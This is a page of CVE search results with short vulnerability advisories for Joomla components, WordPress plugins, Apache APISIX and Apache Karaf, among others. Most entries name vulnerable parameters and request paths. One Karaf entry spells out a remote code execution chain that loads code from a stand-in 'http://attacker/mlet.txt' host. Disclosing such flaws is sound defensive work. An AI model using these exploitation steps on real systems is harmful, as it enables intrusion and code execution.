Export limit exceeded: 400494 CVEs match your query. Please refine your search to export 10,000 CVEs or fewer.
Search
Search Results (400494 CVEs found)
| CVE | Vendors | Products | Updated | CVSS v3.1 |
|---|---|---|---|---|
| CVE-2017-20263 | 1 Focalpointx | 2 Focalpoint, Focalpoint Pro / Free | 2026-10-01 | 8.2 High |
| Joomla! Component FocalPoint Pro/Free 1.2.3 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the id parameter. Attackers can send GET requests to index.php with option=com_focalpoint, view=location, and a crafted id parameter containing SQL commands to extract sensitive database information. | ||||
| CVE-2017-20259 | 1 Joomlashack | 1 Osdownloads | 2026-10-01 | 8.2 High |
| Joomla OSDownloads 1.7.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the id parameter. Attackers can send GET requests to index.php with option=com_osdownloads&view=item&id=[SQL] to extract sensitive database information including credentials and configuration data. | ||||
| CVE-2017-20257 | 1 Joomplace | 1 Quiz Deluxe | 2026-10-01 | 8.2 High |
| Joomla! Component Quiz Deluxe 3.7.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL commands through the ajaxaction.flag_question task. Attackers can inject malicious SQL code via the stu_quiz_id or flag_quest parameters to manipulate database queries and extract sensitive information. | ||||
| CVE-2017-20256 | 1 Joomplace | 1 Survey Force Deluxe | 2026-10-01 | 8.2 High |
| Joomla Survey Force Deluxe 3.2.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the invite parameter. Attackers can send GET requests to the component with crafted SQL payloads in the invite parameter to extract sensitive database information. | ||||
| CVE-2017-20254 | 1 Gegabyte | 1 User Bench | 2026-10-01 | 8.2 High |
| Joomla! Component User Bench 1.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the userid parameter. Attackers can send GET requests to index.php with the option=com_userbench&view=detail&userid parameter containing SQL injection payloads to extract sensitive database information including credentials and configuration data. | ||||
| CVE-2017-20253 | 1 Gegabyte | 1 My Projects | 2026-10-01 | 8.2 High |
| Joomla! Component My Projects 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the VerAyari parameter. Attackers can craft requests to the component endpoint with SQL injection payloads to extract sensitive database information including credentials and system data. | ||||
| CVE-2017-20228 | 1 Flatassembler | 1 Flat Assembler | 2026-10-01 | 8.4 High |
| Flat Assembler 1.71.21 contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying oversized input to the application. Attackers can craft malicious assembly input exceeding 5895 bytes to overwrite the instruction pointer and execute return-oriented programming chains for shell command execution. | ||||
| CVE-2016-20076 | 3 Chrishurst, Mywebsiteadvisor, Wordpress | 3 Simple Backup, Simple Backup, Wordpress | 2026-10-01 | 7.5 High |
| WordPress Simple-Backup 2.7.11 contains multiple vulnerabilities that allow unauthenticated attackers to delete arbitrary files and download sensitive files by manipulating the delete_backup_file and download_backup_file parameters in tools.php. Attackers can exploit insufficient input validation using directory traversal techniques to access wp-config.php, database dumps, and other sensitive files, or delete critical files .htaccess to expose backup directories. | ||||
| CVE-2026-102582 | 1 Moodle | 1 Moodle | 2026-10-01 | 2.2 Low |
| A flaw was found in Moodle. The manual enrolment management page did not properly check whether the manual enrolment plugin was disabled, allowing users with enrolment permissions to access the page directly by navigating to its URL. Consequently, an authorized user could manage manual enrolments even after an administrator disabled the feature in the user interface. | ||||
| CVE-2026-94269 | 1 Apache | 1 Apisix | 2026-10-01 | N/A |
| Use of Non-Canonical URL paths for authorization decisions vulnerability in Apache APISIX. In some configurations where a permissive route overlaps a protected one, a crafted encoded path can reach an upstream endpoint that the matched route's policies were never meant to cover. A request that should have been rejected is served instead, giving unauthenticated access to a protected upstream endpoint. This issue affects Apache APISIX: from 2.14.1 through 3.18.0. Users are recommended to upgrade to version 3.19.0, which fixes the issue. | ||||
| CVE-2026-94250 | 1 Apache Software Foundation | 1 Apache Apisix | 2026-10-01 | N/A |
| Allocation of resources without limits or throttling vulnerability in batch-requests plugin in Apache APISIX. An unauthenticated caller can drive a gateway worker into OOM via a route where the batch-requests plugin is used and the batch endpoint is publicly exposed. This issue affects Apache APISIX: from 1.3.0 through 3.18.0. Users are recommended to upgrade to version 3.19.0, which fixes the issue. | ||||
| CVE-2026-94220 | 1 Apache | 1 Apisix | 2026-10-01 | N/A |
| Cross-Site request forgery (CSRF) vulnerability in feishu-auth and dingtalk-auth plugins in Apache APISIX. An attacker who can get a user to click a crafted link may cause that user's browser session on a protected route to be established under the attacker's identity instead of their own. Any work the user then performs in that session, including uploads, form submissions, and account bindings, lands in the attacker's account. This issue affects Apache APISIX: from 3.17.0 through 3.18.0. Users are recommended to upgrade to version 3.19.0, which fixes the issue. | ||||
| CVE-2026-94212 | 2026-10-01 | N/A | ||
| Improper verification of cryptographic signature vulnerability in Apache APISIX. Any unauthenticated attacker could impersonate any user on every route protected by the saml-auth plugin under default configuration. This issue affects Apache APISIX: from 3.17.0 through 3.18.0. Users are recommended to upgrade to version 3.19.0, which fixes the issue. | ||||
| CVE-2026-92142 | 1 Apache | 1 Karaf | 2026-10-01 | 8.8 High |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | ||||
| CVE-2026-91085 | 1 Apache | 1 Karaf | 2026-10-01 | 6.3 Medium |
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user. The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role. config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL. Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart. By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier. MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. | ||||
| CVE-2026-91048 | 1 Apache | 1 Karaf | 2026-10-01 | 9.8 Critical |
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration". The same applies to jms:* shell commands. | ||||
| CVE-2026-91012 | 1 Apache | 1 Karaf | 2026-10-01 | 9.8 Critical |
| org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside ${karaf.etc}: * if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to; * otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias. Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container. ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all. | ||||
| CVE-2026-89424 | 2026-10-01 | 6.4 Medium | ||
| The Duplicate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'noti_token' parameter in all versions up to, and including, 1.5.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that the site owner has enabled the plugin's User Level Permissions for the Subscriber role, as this grants access to the i_saw_this_noti AJAX branch needed to deliver the payload. | ||||
| CVE-2026-84895 | 1 Facebook | 1 Proxygen | 2026-10-01 | 7.3 High |
| In proxygen from v2026.04.06.00 until v2026.09.28.00, QuicWtSession::closeSession accesses its member fields after calling the base QuicWtSessionBase::closeSession method. The base method notifies the session handler, which may release the last reference to the session and destroy it. | ||||
| CVE-2026-79901 | 2026-10-01 | 9.9 Critical | ||
| In deployments using BoKS keytab management, affected versions of boks_keytabmd generate Active Directory service-account passwords from a predictable pseudo-random sequence seeded with the current Unix timestamp. An attacker who knows the service principal and can estimate the password-change time can reproduce a limited candidate set and verify candidates offline. | ||||